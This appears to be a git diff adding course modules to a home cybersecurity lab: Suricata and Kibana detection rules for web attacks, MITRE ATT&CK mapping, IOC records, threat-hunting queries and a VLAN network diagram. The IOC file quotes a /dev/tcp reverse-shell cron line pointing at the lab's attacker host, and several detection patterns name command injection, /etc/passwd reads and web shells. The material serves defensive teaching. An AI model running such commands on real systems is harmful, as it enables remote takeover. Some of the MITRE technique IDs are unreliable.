```
|
||||
1. pfSense > System > Package Manager
|
||||
2. Available Packages > Search: "snort" or "suricata"
|
||||
# Suricata can act as WAF for HTTP
|
||||
|
||||
3. Alternatively, use DVWA's built-in security levels:
|
||||
- Low: No protection
|
||||
- Medium: Basic filtering
|
||||
- High: Strong protection
|
||||
- Impossible: Secure code implementation
|
||||
|
||||
4. Configure Suricata for HTTP inspection:
|
||||
Services > Suricata > Interface: LAN
|
||||
- Enable: Application Layer Protocols > HTTP
|
||||
- Rules: Enable ET web_server and web_client categories
|
||||
```
|
||||
|
||||
### Custom WAF Rules (Suricata)
|
||||
|
||||
```
|
||||
# Create custom rule to block SQL injection
|
||||
alert http any any -> $HOME_NET any (msg:"SQL Injection Attempt"; flow:established,to_server; content:"UNION"; http_uri; content:"SELECT"; http_uri; sid:1000001; rev:1;)
|
||||
|
||||
# Block XSS attempts
|
||||
alert http any any -> $HOME_NET any (msg:"XSS Attempt - Script Tag"; flow:established,to_server; content:"<script"; http_uri; nocase; sid:1000002; rev:1;)
|
||||
|
||||
# Detect command injection
|
||||
alert http any any -> $HOME_NET any (msg:"Command Injection - Pipe Character"; flow:established,to_server; content:"|"; http_uri; sid:1000003; rev:1;)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 7.7: WEB ATTACK DETECTION IN SECURITY ONION
|
||||
|
||||
### KQL Queries for Web Attacks
|
||||
|
||||
```
|
||||
# SQL Injection detection
|
||||
http.request.body: (*UNION* AND *SELECT*) OR http.request.uri: (*UNION* AND *SELECT*)
|
||||
|
||||
# XSS detection
|
||||
http.request.uri: (*<script* OR *javascript:* OR *onerror=*)
|
||||
|
||||
# Command injection
|
||||
http.request.body: (*;* OR *|* OR *&&*) AND http.request.body: (*whoami* OR *cat* OR */etc/passwd*)
|
||||
|
||||
# Web shell upload
|
||||
http.request.body: *<?php* AND file.extension: php
|
||||
|
||||
# Directory traversal
|
||||
http.request.uri: (*../* OR *..\*)
|
||||
```
|
||||
|
||||
### Create Detection Rule
|
||||
|
||||
```
|
||||
1. Security Onion > Kibana > Security > Rules
|
||||
|
||||
2. Create custom rule:
|
||||
Name: Web Attack - SQL Injection
|
||||
Index pattern: so-*
|
||||
Rule query:
|
||||
http.request.body: *UNION* AND http.request.body: *SELECT*
|
||||
Severity: High
|
||||
MITRE: T1190 (Exploit Public-Facing Application)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## DELIVERABLES
|
||||
|
||||
- [ ] SQL injection attack demonstration (screenshots)
|
||||
- [ ] Stored XSS payload that captures cookies
|
||||
- [ ] Burp Suite Intruder brute-force results
|
||||
- [ ] Command injection reverse shell capture
|
||||
- [ ] WAF rule configuration blocking attacks
|
||||
- [ ] Security Onion detection rules for web attacks
|
||||
- [ ] Report: OWASP Top 10 vulnerabilities found in DVWA
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 7**
|
||||
|
||||
Proceed to **MOD8: Threat Intelligence & Hunting** to map attacks to MITRE ATT&CK.
|
||||
375
MOD8_Threat_Intelligence.md
Normal file
375
MOD8_Threat_Intelligence.md
Normal file
@@ -0,0 +1,375 @@
|
||||
# FILE: MOD8_Threat_Intelligence.md
|
||||
# MODULE 8: THREAT INTELLIGENCE & HUNTING
|
||||
|
||||
## Learning Objectives
|
||||
- Map observed attacks to MITRE ATT&CK framework
|
||||
- Create and use Indicators of Compromise (IOCs)
|
||||
- Perform hypothesis-driven threat hunting
|
||||
- Build threat intelligence feeds
|
||||
- Update SOC dashboard with coverage metrics
|
||||
|
||||
---
|
||||
|
||||
## MITRE ATT&CK FRAMEWORK
|
||||
|
||||
### Understanding the Matrix
|
||||
|
||||
**Tactics** (Why): Attacker's objectives
|
||||
- Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command & Control, Impact
|
||||
|
||||
**Techniques** (How): Methods to achieve tactics
|
||||
- Example: T1190 (Exploit Public-Facing Application)
|
||||
|
||||
**Sub-Techniques**: Specific variations
|
||||
- Example: T1190.001 (SQL Injection)
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.1: MAP MOD3 ATTACKS TO MITRE ATT&CK
|
||||
|
||||
### Metasploitable Exploitation Chain Mapping
|
||||
|
||||
```
|
||||
ATTACK STEP 1: Port Scanning (MOD2)
|
||||
MITRE Tactic: Reconnaissance (TA0043)
|
||||
MITRE Technique: T1046 - Network Service Scanning
|
||||
Detection: Suricata rule "GPL SCAN nmap"
|
||||
|
||||
ATTACK STEP 2: vsftpd Backdoor Exploitation (MOD3)
|
||||
MITRE Tactic: Initial Access (TA0001)
|
||||
MITRE Technique: T1190 - Exploit Public-Facing Application
|
||||
Sub-Technique: FTP Service Exploitation
|
||||
Detection: Connection to port 6200
|
||||
|
||||
ATTACK STEP 3: Command Execution
|
||||
MITRE Tactic: Execution (TA0002)
|
||||
MITRE Technique: T1059.004 - Unix Shell
|
||||
Detection: Process creation logs, bash spawned by vsftpd
|
||||
|
||||
ATTACK STEP 4: Credential Dumping (hashdump)
|
||||
MITRE Tactic: Credential Access (TA0006)
|
||||
MITRE Technique: T1003.008 - /etc/passwd and /etc/shadow
|
||||
Detection: File access logs on /etc/shadow
|
||||
|
||||
ATTACK STEP 5: SSH Key Persistence
|
||||
MITRE Tactic: Persistence (TA0003)
|
||||
MITRE Technique: T1098.004 - SSH Authorized Keys
|
||||
Detection: File modification on /root/.ssh/authorized_keys
|
||||
|
||||
ATTACK STEP 6: Network Connection (Reverse Shell)
|
||||
MITRE Tactic: Command and Control (TA0011)
|
||||
MITRE Technique: T1071.001 - Application Layer Protocol (HTTP/TCP)
|
||||
Detection: Outbound connection to 10.10.2.50:4444
|
||||
```
|
||||
|
||||
### Create MITRE Coverage Heatmap
|
||||
|
||||
```javascript
|
||||
// For React dashboard: dashboard/src/data/mitreAttackCoverage.js
|
||||
|
||||
export const mitreCoverage = {
|
||||
tactics: [
|
||||
{
|
||||
name: "Initial Access",
|
||||
id: "TA0001",
|
||||
techniques: [
|
||||
{ id: "T1190", name: "Exploit Public-Facing Application", detected: true, ruleId: "SID:1000050" },
|
||||
{ id: "T1133", name: "External Remote Services", detected: false },
|
||||
]
|
||||
},
|
||||
{
|
||||
name: "Execution",
|
||||
id: "TA0002",
|
||||
techniques: [
|
||||
{ id: "T1059.004", name: "Unix Shell", detected: true, ruleId: "SID:1000051" }
|
||||
]
|
||||
},
|
||||
{
|
||||
name: "Persistence",
|
||||
id: "TA0003",
|
||||
techniques: [
|
||||
{ id: "T1098.004", name: "SSH Authorized Keys", detected: true, ruleId: "SID:1000052" }
|
||||
]
|
||||
},
|
||||
// ... continue for all tactics
|
||||
]
|
||||
};
|
||||
|
||||
// Calculate coverage percentage
|
||||
const totalTechniques = 200; // Approximate MITRE techniques
|
||||
const coveredTechniques = mitreCoverage.tactics.reduce((sum, tactic) =>
|
||||
sum + tactic.techniques.filter(t => t.detected).length, 0
|
||||
);
|
||||
const coveragePercent = (coveredTechniques / totalTechniques * 100).toFixed(1);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.2: INDICATORS OF COMPROMISE (IOCs)
|
||||
|
||||
### Create IOC Database
|
||||
|
||||
```bash
|
||||
# Structure IOCs from MOD3 exploitation
|
||||
|
||||
cat > /home/analyst/iocs_metasploitable_breach.txt << 'EOF'
|
||||
# Metasploitable Compromise - Feb 11, 2026
|
||||
|
||||
[NETWORK INDICATORS]
|
||||
Attacker_IP: 10.10.2.50
|
||||
C2_Port: 6200 (vsftpd backdoor)
|
||||
C2_Port: 4444 (reverse shell listener)
|
||||
Protocol: TCP
|
||||
|
||||
[FILE INDICATORS]
|
||||
/tmp/.hidden_shell.sh MD5:a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4
|
||||
/root/.ssh/authorized_keys Modified:2026-02-11T14:20:45Z
|
||||
/var/www/html/shell.php MD5:b4c6d8e0f2a4b6c8d0e2f4a6b8c0d2e4
|
||||
|
||||
[REGISTRY/PERSISTENCE]
|
||||
Cron job: * * * * * /bin/bash -i >& /dev/tcp/10.10.2.50/4444 0>&1
|
||||
|
||||
[YARA RULE - Detect Meterpreter]
|
||||
rule Metasploit_Meterpreter
|
||||
{
|
||||
meta:
|
||||
description = "Detects Meterpreter payload signatures"
|
||||
author = "Apophis SOC"
|
||||
date = "2026-02-11"
|
||||
strings:
|
||||
$s1 = "meterpreter" nocase
|
||||
$s2 = "stdapi_" nocase
|
||||
$s3 = { 4D 65 74 65 72 70 72 65 74 65 72 } // "Meterpreter" hex
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
EOF
|
||||
```
|
||||
|
||||
### Threat Intel Platform Integration
|
||||
|
||||
```bash
|
||||
# Use MISP (Malware Information Sharing Platform)
|
||||
# Or OpenCTI (Open Cyber Threat Intelligence)
|
||||
|
||||
# For this lab, create simple CSV for IOC tracking:
|
||||
|
||||
cat > ioc_feed.csv << 'EOF'
|
||||
Type,Value,Severity,First_Seen,Last_Seen,Description
|
||||
IP,10.10.2.50,High,2026-02-11T14:00:00,2026-02-11T15:30:00,Kali attacker source
|
||||
Port,6200,High,2026-02-11T14:15:00,2026-02-11T14:16:00,vsftpd backdoor port
|
||||
Hash,a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4,Critical,2026-02-11T14:17:00,2026-02-11T14:17:00,Backdoor shell script
|
||||
Filename,shell.php,High,2026-02-11T14:22:00,2026-02-11T14:22:00,Web shell
|
||||
EOF
|
||||
|
||||
# Import to Security Onion for enrichment
|
||||
# Alerts matching these IOCs auto-escalate to Critical
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.3: THREAT HUNTING
|
||||
|
||||
### Hypothesis-Driven Hunting
|
||||
|
||||
**Hypothesis 1:** "Are there unauthorized SSH keys on critical servers?"
|
||||
|
||||
```bash
|
||||
# Hunt across all Linux systems
|
||||
|
||||
# Search file modifications
|
||||
find / -name authorized_keys -type f -mtime -7 -ls 2>/dev/null
|
||||
# Shows authorized_keys modified in last 7 days
|
||||
|
||||
# Compare against baseline
|
||||
# Golden image: Known-good authorized_keys hash
|
||||
md5sum /root/.ssh/authorized_keys
|
||||
# If hash differs → Investigate
|
||||
|
||||
# Query Security Onion
|
||||
event.dataset: "system.auth" AND file.path: "*authorized_keys*"
|
||||
```
|
||||
|
||||
**Hypothesis 2:** "Are there processes with suspicious parent relationships?"
|
||||
|
||||
```bash
|
||||
# Hunt for shells spawned by web servers
|
||||
|
||||
ps aux | grep -E "apache|nginx|httpd" | awk '{print $2}' | xargs -I {} pstree -p {}
|
||||
# Look for: apache --> bash --> netcat (BAD!)
|
||||
|
||||
# In Security Onion (Sysmon-like logging):
|
||||
process.parent.name: "apache2" AND process.name: ("bash" OR "sh" OR "nc")
|
||||
```
|
||||
|
||||
**Hypothesis 3:** "Are there large outbound data transfers (exfiltration)?"
|
||||
|
||||
```bash
|
||||
# Query Zeek connection logs
|
||||
event.dataset: "zeek.conn" AND network.bytes > 10000000 AND destination.ip: NOT 10.10.0.0/16
|
||||
# Find connections >10MB to external IPs
|
||||
|
||||
# In Kibana visualization:
|
||||
# X-axis: destination.ip
|
||||
# Y-axis: sum(network.bytes)
|
||||
# Shows top data transfer destinations
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.4: AUTOMATED THREAT HUNTING WITH SIGMA RULES
|
||||
|
||||
### Sigma Rule Format
|
||||
|
||||
```yaml
|
||||
# Sigma rule: Detects SSH authorized_keys modification
|
||||
|
||||
title: SSH Authorized Keys Modification
|
||||
id: 12345678-1234-1234-1234-123456789012
|
||||
status: experimental
|
||||
description: Detects modifications to SSH authorized_keys files (persistence)
|
||||
author: Apophis SOC
|
||||
date: 2026/02/11
|
||||
tags:
|
||||
- attack.persistence
|
||||
- attack.t1098.004
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
selection:
|
||||
type: 'PATH'
|
||||
name|endswith: '/authorized_keys'
|
||||
condition: selection
|
||||
falsepositives:
|
||||
- Legitimate administrator adding keys
|
||||
level: medium
|
||||
```
|
||||
|
||||
### Convert Sigma to Security Onion Query
|
||||
|
||||
```bash
|
||||
# Install sigmac (Sigma converter)
|
||||
pip3 install sigmatools
|
||||
|
||||
# Convert to Elasticsearch query
|
||||
sigmac -t es-qs -c /etc/sigma/config.yml ssh_authorized_keys.yml
|
||||
|
||||
# Output KQL:
|
||||
file.path: *authorized_keys AND event.action: modify
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.5: THREAT INTELLIGENCE FEEDS
|
||||
|
||||
### Consume External Threat Intel
|
||||
|
||||
```bash
|
||||
# Subscribe to abuse.ch feeds
|
||||
wget https://sslbl.abuse.ch/blacklist/sslipblacklist.csv -O /tmp/malicious_ips.csv
|
||||
|
||||
# Parse and import to Security Onion
|
||||
cat /tmp/malicious_ips.csv | grep -v "^#" | awk -F',' '{print $2}' > /tmp/ioc_ips.txt
|
||||
|
||||
# Create Suricata rule to alert on connections to these IPs
|
||||
while read ip; do
|
||||
echo "alert ip any any -> $ip any (msg:\"Connection to Known Malicious IP\"; sid:2000000; rev:1;)" >> /etc/suricata/rules/local.rules
|
||||
done < /tmp/ioc_ips.txt
|
||||
|
||||
# Restart Suricata
|
||||
sudo so-suricata-restart
|
||||
```
|
||||
|
||||
### Create Custom Threat Feed
|
||||
|
||||
```python
|
||||
# Python script: generate_threat_feed.py
|
||||
|
||||
import json
|
||||
from datetime import datetime
|
||||
|
||||
threat_feed = {
|
||||
"feed_name": "Apophis Lab Threat Intel",
|
||||
"version": "1.0",
|
||||
"generated": datetime.now().isoformat(),
|
||||
"indicators": [
|
||||
{
|
||||
"type": "ipv4-addr",
|
||||
"value": "10.10.2.50",
|
||||
"severity": "high",
|
||||
"labels": ["red-team", "internal-threat"],
|
||||
"first_seen": "2026-02-11T14:00:00Z",
|
||||
"tactics": ["TA0001", "TA0002", "TA0003"]
|
||||
},
|
||||
{
|
||||
"type": "md5",
|
||||
"value": "a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4",
|
||||
"severity": "critical",
|
||||
"labels": ["backdoor", "shell"],
|
||||
"techniques": ["T1059.004"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
with open('/var/www/html/threat_feed.json', 'w') as f:
|
||||
json.dump(threat_feed, f, indent=2)
|
||||
|
||||
print("Threat feed published to: http://10.10.3.50/threat_feed.json")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 8.6: UPDATE SOC DASHBOARD
|
||||
|
||||
### Integrate MITRE Coverage into React Dashboard
|
||||
|
||||
```javascript
|
||||
// dashboard/src/components/MitreHeatmap.jsx
|
||||
|
||||
import { mitreCoverage } from '../data/mitreAttackCoverage';
|
||||
|
||||
export function MitreHeatmap() {
|
||||
const tactics = mitreCoverage.tactics;
|
||||
|
||||
// Calculate coverage per tactic
|
||||
const tacticCoverage = tactics.map(tactic => ({
|
||||
name: tactic.name,
|
||||
total: tactic.techniques.length,
|
||||
detected: tactic.techniques.filter(t => t.detected).length,
|
||||
percentage: (tactic.techniques.filter(t => t.detected).length / tactic.techniques.length * 100).toFixed(0)
|
||||
}));
|
||||
|
||||
return (
|
||||
<div className="panel">
|
||||
<h2>MITRE ATT&CK Coverage</h2>
|
||||
{tacticCoverage.map(tactic => (
|
||||
<div key={tactic.name} className="coverage-bar">
|
||||
<span>{tactic.name}</span>
|
||||
<div className="progress-bar" style={{width: `${tactic.percentage}%`}}>
|
||||
{tactic.percentage}%
|
||||
</div>
|
||||
<span>{tactic.detected}/{tactic.total}</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## DELIVERABLES
|
||||
|
||||
- [ ] MITRE ATT&CK mapping table for all MOD3 attacks
|
||||
- [ ] IOC database (CSV or JSON format)
|
||||
- [ ] 3 threat hunting hypotheses with query results
|
||||
- [ ] Sigma rule for persistence detection
|
||||
- [ ] Custom threat intelligence feed (JSON)
|
||||
- [ ] Updated React dashboard with MITRE coverage heatmap
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 8**
|
||||
|
||||
Proceed to **CAPSTONE: APT Simulation** to integrate all skills.
|
||||
655
NETWORK_DIAGRAM.md
Normal file
655
NETWORK_DIAGRAM.md
Normal file
@@ -0,0 +1,655 @@
|
||||
# Apophis Networking Security Lab - Network Diagram
|
||||
|
||||
## Physical Infrastructure Overview
|
||||
|
||||
```
|
||||
┌─────────────────┐
|
||||
│ Internet/ISP │
|
||||
└────────┬────────┘
|
||||
│
|
||||
┌────────▼────────┐
|
||||
│ Unifi Router │
|
||||
│ (VLAN-aware) │
|
||||
│ Gateway/DHCP │
|
||||
└────────┬────────┘
|
||||
│
|
||||
│ Trunk Port
|
||||
│ (All VLANs tagged)
|
||||
│
|
||||
┌────────▼────────┐
|
||||
│ Cisco Switch │
|
||||
│ (Layer 2) │
|
||||
│ VLAN 100-400 │
|
||||
└────────┬────────┘
|
||||
│
|
||||
│ Trunk Port
|
||||
│ (All VLANs tagged)
|
||||
│
|
||||
┌────────▼────────┐
|
||||
│ Proxmox Server │
|
||||
│ (vmbr0) │
|
||||
│ VLAN-aware │
|
||||
│ bridge │
|
||||
└─────────────────┘
|
||||
│
|
||||
┌────────────────────┼────────────────────┐
|
||||
│ │ │
|
||||
VLAN 100 VLAN 200-400 pfSense VM
|
||||
(Management) (Security Lab VLANs) (Router/FW)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## VLAN Topology & Segmentation
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────┐
|
||||
│ Unifi Router (Physical) │
|
||||
│ Internet Gateway │
|
||||
│ Default VLAN 1 (Home) │
|
||||
└─────────────────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
Trunk (VLANs 100,200,300,400)
|
||||
│
|
||||
┌─────────────────────────────────────────────────────────────────────────┐
|
||||
│ Cisco Switch (Physical) │
|
||||
│ Trunk all VLANs to Proxmox │
|
||||
└─────────────────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
Trunk (VLANs 100,200,300,400)
|
||||
│
|
||||
┌─────────────────────────────────────────────────────────────────────────┐
|
||||
│ Proxmox Server - vmbr0 Bridge │
|
||||
│ (VLAN-aware enabled) │
|
||||
└─────────────────────────────────────────────────────────────────────────┘
|
||||
│ │ │ │
|
||||
┌────▼────┐ ┌───▼────┐ ┌────▼────┐ ┌────▼────┐
|
||||
│ VLAN 100│ │VLAN 200│ │VLAN 300 │ │VLAN 400 │
|
||||
│Management│ │Red Team│ │Blue Team│ │ Victim │
|
||||
│10.10.1│ │10.10.2│ │10.10.3│ │10.10.4│
|
||||
│ .0/24 │ │ .0/24 │ │ .0/24 │ │ .0/24 │
|
||||
└─────────┘ └────────┘ └─────────┘ └─────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Detailed VLAN Configuration
|
||||
|
||||
### VLAN 100 - Management Network (10.10.1.0/24)
|
||||
|
||||
**Purpose**: Hypervisor management and pfSense WAN interface
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────┐
|
||||
│ VLAN 100 - Management │
|
||||
│ 10.10.1.0/24 │
|
||||
├──────────────────────────────────────────┤
|
||||
│ │
|
||||
│ ┌────────────────────────────────┐ │
|
||||
│ │ Proxmox Host (Physical) │ │
|
||||
│ │ IP: 10.10.1.1 │ │
|
||||
│ │ Web UI: https://10.10.1.1:8006 │ │
|
||||
│ └────────────────────────────────┘ │
|
||||
│ │
|
||||
│ ┌────────────────────────────────┐ │
|
||||
│ │ pfSense VM - WAN Interface │ │
|
||||
│ │ IP: 10.10.1.2 │ │
|
||||
│ │ Gateway to other VLANs │ │
|
||||
│ │ Web UI: https://10.10.1.2 │ │
|
||||
│ └────────────────────────────────┘ │
|
||||
│ │
|
||||
└──────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**Access**: Your management workstation connects here to access Proxmox and pfSense
|
||||
|
||||
---
|
||||
|
||||
### pfSense VM - Internal Router/Firewall
|
||||
|
||||
**Role**: Routes traffic between VLANs 200, 300, 400 with firewall rules
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ pfSense VM (Router/FW) │
|
||||
│ │
|
||||
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
|
||||
│ │ vtnet0 │ │ vtnet1 │ │ vtnet2 │ ... │
|
||||
│ │ VLAN 100 │ │ VLAN 200 │ │ VLAN 300 │ │
|
||||
│ │ (WAN) │ │ (RED) │ │ (BLUE) │ │
|
||||
│ │.100.2 │ │.200.1 │ │.300.1 │ │
|
||||
│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │
|
||||
│ │ │ │ │
|
||||
│ │ ┌────▼──────────────▼────┐ │
|
||||
│ └────────►│ Firewall Rules │ │
|
||||
│ │ NAT Rules │ │
|
||||
│ │ IDS/IPS (Suricata) │ │
|
||||
│ └────────────────────────┘ │
|
||||
│ │
|
||||
│ vtnet3 → VLAN 400 (10.10.4.1) │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**Network Interfaces**:
|
||||
- **vtnet0** (WAN): VLAN 100 - 10.10.1.2 → Management network
|
||||
- **vtnet1** (RED): VLAN 200 - 10.10.2.1 → Red Team gateway
|
||||
- **vtnet2** (BLUE): VLAN 300 - 10.10.3.1 → Blue Team gateway
|
||||
- **vtnet3** (VICTIM): VLAN 400 - 10.10.4.1 → Victim network gateway
|
||||
|
||||
---
|
||||
|
||||
### VLAN 200 - Red Team / Attacker Network (10.10.2.0/24)
|
||||
|
||||
**Purpose**: Offensive security tools and attack infrastructure
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────┐
|
||||
│ VLAN 200 - Red Team │
|
||||
│ 10.10.2.0/24 │
|
||||
├──────────────────────────────────────────┤
|
||||
│ │
|
||||
│ Gateway: 10.10.2.1 (pfSense) │
|
||||
│ DNS: 10.10.2.1 │
|
||||
│ │
|
||||
│ ┌────────────────────────────────┐ │
|
||||
│ │ Kali Linux VM │ │
|
||||
│ │ IP: 10.10.2.50 │ │
|
||||
│ │ Hostname: kali-attacker │ │
|
||||
│ │ │ │
|
||||
│ │ Tools: │ │
|
||||
│ │ • Nmap, Masscan │ │
|
||||
│ │ • Metasploit Framework │ │
|
||||
│ │ • Impacket (SMB/Kerberos) │ │
|
||||
│ │ • BloodHound, Responder │ │
|
||||
│ │ • Mimikatz, PowerSploit │ │
|
||||
│ │ • Burp Suite, SQLMap │ │
|
||||
│ │ • CrackMapExec, Evil-WinRM │ │
|
||||
│ └────────────────────────────────┘ │
|
||||
│ │
|
||||
└──────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**Firewall Rules** (pfSense):
|
||||
- **Outbound**: Allow to VLAN 400 (victim network) - controlled by lab phase
|
||||
- **Inbound**: Deny all from other VLANs
|
||||
- **Logging**: All traffic logged for Blue Team analysis
|
||||
|
||||
---
|
||||
|
||||
### VLAN 300 - Blue Team / Monitoring Network (10.10.3.0/24)
|
||||
|
||||
**Purpose**: Defensive security monitoring and SIEM
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────┐
|
||||
│ VLAN 300 - Blue Team │
|
||||
│ 10.10.3.0/24 │
|
||||
├──────────────────────────────────────────┤
|
||||
│ │
|
||||
│ Gateway: 10.10.3.1 (pfSense) │
|
||||
│ DNS: 10.10.3.1 │
|
||||
│ │
|
||||
│ ┌────────────────────────────────┐ │
|
||||
│ │ Security Onion VM │ │
|
||||
│ │ IP: 10.10.3.100 │ │
|
||||
│ │ Hostname: securityonion │ │
|
||||
│ │ │ │
|
||||
│ │ Components: │ │
|
||||
│ │ • Kibana (SIEM) │ │
|
||||
│ │ • Elasticsearch (logs) │ │
|
||||
│ │ • Suricata (IDS/IPS) │ │
|
||||
│ │ • Zeek/Bro (network analysis) │ │
|
||||
│ │ • Stenographer (PCAP) │ │
|
||||
│ │ • Wazuh (HIDS) │ │
|
||||
│ │ │ │
|
||||
│ │ Web UI: │ │
|
||||
│ │ https://10.10.3.100 │ │
|
||||
│ └────────────────────────────────┘ │
|
||||
│ │
|
||||
└──────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**Firewall Rules** (pfSense):
|
||||
- **Inbound**: Mirror/SPAN traffic from VLAN 400 for IDS monitoring
|
||||
- **Outbound**: Allow to Management VLAN (alerts/logs)
|
||||
- **Isolation**: No direct access to VLAN 200 or 400
|
||||
|
||||
---
|
||||
|
||||
### VLAN 400 - Victim Network (10.10.4.0/24)
|
||||
|
||||
**Purpose**: Vulnerable target systems for penetration testing
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────────┐
|
||||
│ VLAN 400 - Victim Network │
|
||||
│ 10.10.4.0/24 │
|
||||
├────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ Gateway: 10.10.4.1 (pfSense) │
|
||||
│ DNS: 10.10.4.10 (DC01) │
|
||||
│ Domain: apophis.local │
|
||||
│ │
|
||||
│ ┌──────────────────────────────────────────────────┐ │
|
||||
│ │ DC01 - Domain Controller │ │
|
||||
│ │ IP: 10.10.4.10 │ │
|
||||
│ │ OS: Windows Server 2022 │ │
|
||||
│ │ Services: AD DS, DNS, LDAP, Kerberos │ │
|
||||
│ │ Domain: apophis.local │ │
|
||||
│ └──────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ ┌──────────────────────────────────────────────────┐ │
|
||||
│ │ WS01 - HR Workstation │ │
|
||||
│ │ IP: 10.10.4.20 │ │
|
||||
│ │ OS: Windows 10 Pro │ │
|
||||
│ │ Domain: apophis.local\hruser │ │
|
||||
│ │ Group: Domain Users │ │
|
||||
│ └──────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ ┌──────────────────────────────────────────────────┐ │
|
||||
│ │ WS02 - IT Admin Workstation │ │
|
||||
│ │ IP: 10.10.4.21 │ │
|
||||
│ │ OS: Windows 10 Pro │ │
|
||||
│ │ Domain: apophis.local\itadmin │ │
|
||||
│ │ Group: Domain Admins (privileged) │ │
|
||||
│ └──────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ ┌──────────────────────────────────────────────────┐ │
|
||||
│ │ WEB01 - Web Application Server │ │
|
||||
│ │ IP: 10.10.4.30 │ │
|
||||
│ │ OS: Ubuntu 22.04 LTS │ │
|
||||
│ │ Services: DVWA (Docker), Apache, MySQL │ │
|
||||
│ │ Ports: 80 (HTTP), 22 (SSH), 3306 (MySQL) │ │
|
||||
│ └──────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ ┌──────────────────────────────────────────────────┐ │
|
||||
│ │ FILE01 - Legacy File Server │ │
|
||||
│ │ IP: 10.10.4.40 │ │
|
||||
│ │ OS: Metasploitable 2 (Ubuntu 8.04) │ │
|
||||
│ │ Services: FTP (vsftpd 2.3.4), SMB, SSH, MySQL │ │
|
||||
│ │ Vulnerabilities: Multiple (intentional) │ │
|
||||
│ └──────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
└────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**Firewall Rules** (pfSense):
|
||||
- **Default**: Allow internal communication within VLAN 400
|
||||
- **Inbound from VLAN 200**: Deny by default (enable per-lab exercise)
|
||||
- **Outbound to Internet**: Allow (for updates/downloads)
|
||||
- **Logging**: All inter-VLAN traffic logged
|
||||
|
||||
---
|
||||
|
||||
## Traffic Flow Examples
|
||||
|
||||
### Example 1: Red Team Attack (MOD3 - Exploitation)
|
||||
|
||||
```
|
||||
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
||||
│ Kali Linux │────1───►│ pfSense │────2───►│ FILE01 │
|
||||
│ 10.10.2.50 │ │ Firewall │ │ 10.10.4.40 │
|
||||
│ VLAN 200 │ │ Rules Check │ │ VLAN 400 │
|
||||
└──────────────┘ └──────────────┘ └──────────────┘
|
||||
│
|
||||
3│ │ (Mirror/SPAN)
|
||||
│ │
|
||||
▼ ▼
|
||||
┌──────────────────┐
|
||||
│ Security Onion │
|
||||
│ 10.10.3.100 │
|
||||
│ VLAN 300 │
|
||||
│ (IDS Alerts) │
|
||||
└──────────────────┘
|
||||
```
|
||||
|
||||
**Flow**:
|
||||
1. Kali sends exploit to FILE01 (vsftpd backdoor)
|
||||
2. pfSense allows (per lab rules) and logs connection
|
||||
3. Security Onion captures traffic via SPAN port, Suricata generates alert
|
||||
|
||||
---
|
||||
|
||||
### Example 2: Lateral Movement (MOD5 - AD Attacks)
|
||||
|
||||
```
|
||||
┌──────────────┐ PSExec/SMB ┌──────────────┐ Kerberos ┌──────────────┐
|
||||
│ Kali Linux │─────────────────►│ WS02 │───────────────►│ DC01 │
|
||||
│ 10.10.2.50 │ (via pfSense) │ 10.10.4.21 │ TGT Request │ 10.10.4.10 │
|
||||
│ VLAN 200 │ │ VLAN 400 │ │ VLAN 400 │
|
||||
└──────────────┘ └──────────────┘ └──────────────┘
|
||||
│ │ │
|
||||
└──────────────────────────────────┴──────────────────────────────┘
|
||||
│
|
||||
(All logged by
|
||||
Security Onion)
|
||||
```
|
||||
|
||||
**Flow**:
|
||||
1. Kali uses stolen credentials to PSExec into WS02
|
||||
2. From WS02, perform Kerberoasting against DC01
|
||||
3. Security Onion logs all SMB and Kerberos traffic
|
||||
|
||||
---
|
||||
|
||||
### Example 3: Blue Team Forensics (MOD6 - Incident Response)
|
||||
|
||||
```
|
||||
┌──────────────────┐ ┌──────────────────┐
|
||||
│ Your Workstation │──────Management──────────►│ Proxmox Console │
|
||||
│ (VLAN 100) │ VLAN 100 │ 10.10.1.1 │
|
||||
└──────────────────┘ └─────────┬────────┘
|
||||
│
|
||||
Take VM Snapshot
|
